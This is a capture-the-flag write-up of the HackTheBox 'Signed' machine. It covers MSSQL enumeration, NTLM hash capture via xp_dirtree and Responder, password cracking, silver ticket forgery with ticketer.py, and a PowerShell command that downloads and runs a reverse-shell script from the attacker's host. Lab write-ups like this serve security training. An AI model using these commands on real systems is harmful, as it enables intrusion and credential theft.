Mystic

Signed WriteUp - HackTheBox


Signed is a medium-rated Windows Active Directory (AD) Machine on Hack The Box. The box follows an assumed-breach path and we are supplied with an account that has access to MSSQL Service - scott:Sm230#C5NatH. The box mainly focuses on MSSQL and NTLM exploitation.

Enumeration

We start with an nmap scan to identify the services running on the box.

NMAP

sudo nmap -Pn -sVC --min-rate 1000 10.10.11.90 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-24 22:22 IST
Nmap scan report for DC01.signed.htb (10.10.11.90)
Host is up (0.15s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2025-10-24T16:54:57+00:00; +24s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-24T16:52:14
|_Not valid after:  2055-10-24T16:52:14

Host script results:
|_clock-skew: 23s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.43 seconds

The scan reveals only a single open port 1433, running Microsoft SQL Server 2022.

Impacket-mssqlclient

We connect to the mssql service using mssqlclient.py from the impacket library with the credentials of Scott that we were provided with.

SQL (scott  guest@master)> xp_cmdshell

ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.

We successfully connect and try a few commands such as xp_cmdshell (does not work due to insufficient permissions).

Next, we try to enumerate users and check if their password hashes can be found.

SQL (scott  guest@master)> select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;

login   login_type   password_hash   create_date   modify_date   status     
-----   ----------   -------------   -----------   -----------   --------   
sa      SQL_LOGIN             NULL   2003-04-08 09:10:35   2025-10-02 09:27:32   b'Enabled'   

scott   SQL_LOGIN             NULL   2025-10-02 09:33:29   2025-10-02 09:33:29   b'Enabled'   

This just tells us that there is another user sa but does not give anything particularly useful.

We also check if any user has sysadmin privileges and look for linked servers.

SQL (scott  guest@master)> SELECT is_srvrolemember('sysadmin');
SQL (scott  guest@master)> EXEC sp_linkedservers;

SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
--------   ----------------   -----------   --------------   ------------------   ------------   -------   
DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL      

No remarkable information is obtained through this but, xp_dirtree works.

Since xp_dirtree works, we can use it to make a request to our attack machine running Responder to capture the hash of the user running the MSSQL service (mssqlsvc).

To execute this attack,

  • We first, start Responder on our attack machine on the interface connected to the HTB VPN.
    sudo Responder -I tun0
    
  • Next, we use xp_dirtree on the MSSQL shell to make a request to the attacker's IP (running Responder) which attempts to list the files in the specified path and in this case, ends up authenticating with Responder which captures the NTLM hash.
    SQL (scott  guest@master)> xp_dirtree //10.10.16.4/toshith
    

This gives us the hash to the user mssqlsvc.

The hash can be cracked using john. First, copy the hash to a file (hash.txt). Then the hash can be cracked simply using the command:

john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt

This instantly reveals the password.

Moving on to the next stage, we connect to the mssql service using the newly obtained credentials.

mssqlclient.py mssqlsvc:'<password>'@10.10.11.90 -windows-auth

We are able to successfully connect using mssqlsvc but it still does not have the privileges to run commands using xp_cmdshell.

Now, we try to find users who have the sysadmin role.

SQL (SIGNED\mssqlsvc  guest@master)> SELECT name, sid FROM master.sys.syslogins where sysadmin=1;

name                                                                                        sid   
-------------------------   -------------------------------------------------------------------   
sa                                                                                        b'01'   

SIGNED\IT                           b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'   

NT SERVICE\SQLWriter        b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'   

NT SERVICE\Winmgmt          b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'   

NT SERVICE\MSSQLSERVER      b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'   

NT SERVICE\SQLSERVERAGENT   b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'

To perform a silver ticket attack, we need service account password/hash, SPN and no DC validation.

To find the servername to create the spn, we execute:

SQL (SIGNED\mssqlsvc  guest@master)> SELECT @@SERVERNAME AS ServerName

ServerName
--------------
DC01

Foothold

To create the silver ticket,

  • Convert the hex sid of __SIGNED/IT' to a String using this code. Through this we obtain the SID as S-1-5-21-4088429403-1159899800-2753317549-1105
  • Convert the password of mssqlsvc service account to NTHash.
    echo -n '<password>' | iconv -t utf16le | openssl dgst -md4 -binary | xxd -p -c 256
    
  • The SPN can be created from the information collected using the format MSSQLSvc/<ServerName>:<Port>. In our case, it becomes:
    MSSQLSvc/DC01.SIGNED.HTB:1433
    

Impacket-ticketer

Finally, to forge the silver ticket, we execute the following command.

ticketer.py -nthash <HASH> -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 512,519,1105 -user-id 1103 Administrator

Now, connect using the forged ticket.

export KRB5CCNAME=Administrator.ccache
mssqlclient.py -k signed.htb/[email protected] -no-pass -windows-auth

This successfully gives us elevated privileges.

To enable xp_cmdshell, execute:

SQL (SIGNED\mssqlsvc  dbo@master)> enable_xp_cmdshell

To test os command execution:

SQL (SIGNED\mssqlsvc  dbo@master)> EXEC xp_cmdshell whoami
output            
---------------   
signed\mssqlsvc   

To obtain a reverse shell,

  • We host Invoke-PowerShellTcp.ps1 (part of nishang) on the attacking machine to download it on the target. In the directory containing the script, execute:
    python3 -m http.server
    
  • Start the netcat listener.
    rlwrap nc -lvnp 4444
    
  • Exploit using the command:
    EXEC ('EXEC xp_cmdshell ''powershell -c "IEX (New-Object Net.WebClient).DownloadString(''''http://10.10.16.4:8000/Invoke-PowerShellTcp.ps1'''');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 4444"''');
    

The shell is obtained as the user signed/mssqlsvc. The user flag can now be read.

Privilege Escalation

[method 1]

The OPENROWSET procedure allows MSSQL to load files. The MSSQL Server runs with elevated privileges, so we can directly use it to read the root flag.

SQL (SIGNED\mssqlsvc  dbo@master)> select BulkColumn from OPENROWSET (BULK 'c:/users/administrator/desktop/root.txt', SINGLE_CLOB) Myroot

BulkColumn                                
---------------------------------------   
b'<flag>\r\n'